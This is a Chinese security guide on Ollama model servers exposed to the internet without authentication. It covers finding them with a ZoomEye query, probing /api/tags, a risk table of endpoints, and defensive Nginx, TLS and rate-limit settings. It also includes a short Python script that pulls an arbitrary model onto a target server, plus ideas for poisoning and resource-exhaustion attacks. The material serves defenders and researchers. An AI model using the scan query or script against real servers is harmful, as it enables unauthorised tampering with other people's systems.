当心别人删了你的大模型
字数 968 2025-08-29 08:30:30
Ollama大模型服务器安全风险分析与防护指南
一、概述
近期网络安全扫描发现全球范围内存在大量未授权暴露在公网的Ollama大模型服务器,这些服务器暴露了模型管理接口并存在严重安全风险。攻击者可以利用这些漏洞进行模型删除、恶意模型注入等操作,形成"用AI攻击AI"的新型攻击模式。
二、发现方法
1. 资产测绘技术
使用Zoomeye网络空间搜索引擎,通过以下语法定位目标:
app="Ollama" +country="*"
2. API接口验证
测试开放API端点:
GET /api/tags HTTP/1.1
Host: [目标IP]:11434
典型响应示例:
{
"models": [
{
"name": "deepseek-r1:7b",
"model": "deepseek-r1:7b",
"modified_at": "2025-02-12T21:48:07.4588927+08:00",
"size": 4683075271,
"details": {
"parent_model": "",
"format": "gguf",
"family": "qwen2",
"families": ["qwen2"],
"parameter_size": "7.6B",
"quantization_level": "Q4_K_M"
}
}
]
}
三、高危接口分析
| 接口路径 | HTTP方法 | 风险等级 | 影响范围 |
|---|---|---|---|
| /api/pull | POST | 严重 | 远程下载任意模型 |
| /api/delete | DELETE | 高危 | 删除已有模型 |
| /api/generate | POST | 中危 | 模型推理操作 |
四、攻击向量示例
1. 自动化攻击脚本核心代码
import requests
def ollama_rce(target_ip, model_name):
# 模型下载漏洞利用
payload = {"name": model_name, "stream": False}
resp = requests.post(f"http://{target_ip}:11434/api/pull", json=payload)
if resp.status_code == 200:
print(f"[+] 成功部署 {model_name} 模型")
# 后续推理攻击代码...
2. 进阶攻击场景
- 模型投毒攻击:通过/api/pull注入恶意模型
- 资源耗尽攻击:循环下载大型模型耗尽存储
- 知识库泄露:访问/api/knowledge-base(需进一步验证)
- 提示词劫持:篡改/system/prompts配置
五、防御建议
1. 基础防护措施
Nginx反向代理配置示例:
location /api/ {
allow 192.168.1.0/24;
deny all;
auth_basic "Ollama Admin";
auth_basic_user_file /etc/nginx/.htpasswd;
}
2. 增强安全措施
- 启用OLLAMA_HOST环境变量绑定
- 配置TLS客户端证书认证
- 实施请求频率限制(建议<5req/min)
- 定期审计模型哈希值
六、总结
AI基础设施的快速部署与安全建设的滞后形成鲜明反差。攻击者已能通过自动化工具在数分钟内完成从目标发现到攻击实施的完整链路。管理员应尽快检查并加固暴露在公网的Ollama服务器。
法律声明
所有技术细节仅用于安全研究目的,禁止用于非法用途。
注:本文档基于FreeBuf文章《当心别人删了你的大模型》整理,保留了所有关键技术细节和安全建议,去除了无关描述,形成了系统化的教学文档。